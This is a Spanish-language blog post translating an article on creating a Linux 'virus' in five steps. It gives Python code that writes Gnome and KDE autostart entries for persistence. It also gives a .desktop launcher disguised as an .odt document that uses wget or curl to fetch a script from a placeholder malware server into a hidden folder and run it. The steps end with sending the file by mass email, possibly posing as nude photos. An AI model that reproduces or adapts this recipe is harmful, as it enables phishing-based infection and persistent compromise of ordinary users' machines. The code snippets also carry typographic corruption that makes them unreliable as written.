Portada » eLKcro, Linux, Programacion, Virus

Virus para linux en 5 pasos

23 febrero 2009 Sin comentarios
escrito por : aKcro

Uno de los artículos mas leídos y comentados por internet ha sido el de como aprovechando vulnerabilidades en Gnome/KDE en linux, se podria crear un malware en 5 pasos, el árticulo original está en inglés pero traduciré el resumen de los famosos 5 pasos.

Guía compacta paso a paso.

1. Escribir una parte del malware de su elección. Tal vez como un Script en Python? Buen lenguaje, eficiente código, pre-instalado en la mayoría de distribuciones Linux y poderosa biblioteca estándar de apoyo (por ejemplo, las bibliotecas para el envío y manejo de peticiones HTTP y SMTP  son parte de la mayoría de las instalaciones). Ubicar el malware en algun web-server.

2. El malware necesita la habilidad de instalar un Auto-Arranque que sera lanzado cada vez que el usuario se loguee.  Como ya se menciono para Gnome significa crear  la descripción del arranque en la carpeta ” ~/.config/autostart “.  Para KDE solo enlazar  el ejecutable desde el directorio “ ~/.kde/Autostart “.  Hacer que el código del malware pueda forzar y copiar o linkear un enlace hacia el en ambas ubicaciones  (creación de directorios en el camino si no existe) o puede ser un poco inteligente y elegir lo correcto a hacer basado en el entorno de escritorio que se detecta.

Por ejemplo, para crear el acceso directo para KDE, todo lo que se necesita  escribir en Python es el siguiente:

import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink(“/home/%s/.local/.hidden/s.py” % uname, drop_dir+“/s.py”)

Para Gnome el script necesario para escribir un arranque en el directorio necesario es el siguiente:

import os
relauncher_str = “”"
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
“”"
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()

Escribir esas entradas de auto-arranque es probablemente una de las primeras cosas que debería hacer el malware.

3. Ahora crear un lanzador de escritorio para el archivo instalador del malware, que es diferente que el lanzador que usamos para reiniciar el programa malware después de un reinicio del sistema. El lanzador de escritorio para el instalador es lo que se enviará como archivo adjunto en el correo electrónico dirigido al usuario. Es en lo que el usuario hace click vez que guardó. Pruebe algo como esto:

[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c ‘URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py’
Icon=/usr/share/icons/hicolor/48×48/apps/ooo-writer.png

Tenga en cuenta que se ha especificado un nombre que es de aspecto inofensivo e incluso se optó por un icono que le hace parecer como un documento normal (este icono está presente tanto en sistemas Ubuntu (Gnome) y Kubuntu (KDE), pero no necesariamente en Fedora). Si usted quiere enviar fotos de desnudos en el correo electrónico, basta con darle un nombre que lo hace sonar como una imagen (con algo. Jpg al final) y eligir uno de los iconos estándar de imagen.

La linea de ejecución es un poco mas larga ahora,  porque tenemos que contar con la posibilidad de que sea instalado con wget o curl.  Por ejemplo sistemas Ubuntu suelen utilizar wget, mientras que fedora trae curl.  Entonces lo que se necesita es llamar a los correctos comandos bash para detectar cual esta presente y con cual descargaremos el malware.  No soy un experto en bash por lo que debe haber una manera mas eficiente de hacer esto.  Pero tienes la idea.  Asimismo, en esa línea estamos creando una buena ubicación para el script ($ DROP), que no es inmediatamente evidente. El comando mkdir con la opción-p  silenciosamente creará cualesquiera directorios padres que sean necesarios. Nuestro directorio esta en el  home del usuario, escondido en algún inocente directorio local  y sólo puede ser visto también en el caso de mostrar archivos ocultos. El directorio / tmp, por supuesto, no es un buen lugar para nuestro programa malicioso, ya que se limpia con cada reinicio del sistema.

Guardar este archivo lanzador con el nombre que se ha especificado en la linea “Name”, pero añadir ‘. Desktop’ al final del nombre de archivo real. Así pues, en nuestro caso, se debería guardar el archivo como ‘some_text.odt.desktop’ . Cuando este ubicado en su escritorio, verá que en Gnome o KDE será tratado de manera especial, no se muestra la  extensión ‘. Desktop’ . Así, el archivo sólo aparece como ‘some_text.odt’ . Por supuesto, eso también significa que el archivo adjunto de correo tendrá esta ampliación también. Algunos usuarios lo pueden notar, muchos otros no.

4. Adjunte este archivo a un correo electrónico, que le pida al destinatario que guarde y abra el archivo adjunto. Como se ha explicado, una vez que se ha guardado que sólo aparecen como ‘some_text.odt ‘ en el escritorio del usuario. Y con el icono que hemos elegido en el descriptor del lanzador  que parecen inofensivos.

5. envía este mensaje a la mayor cantidad de direcciones de correo electrónico que puedas tener.

Voila! Un virus de Linux en 5 sencillos pasos. Cada usuario que abre y guarda el archivo adjunto que les han enviado se infectará con el malware script de su elección, que también se reinicia cada vez que el usuario se conecta de nuevo.

Eso fue fácil, ¿no?

Artículo completo en inglés: GeekZone




Comparte:
  • Facebook
  • Twitter
  • Google Bookmarks
  • Meneame
  • Tumblr
  • Live
  • del.icio.us
Line Break

Author: aKcro (56 Articulos)

Deja tu comentario!

Debes estar Logeado para dejar un comentario.

Get Adobe Flash playerPlugin by wpburn.com wordpress themes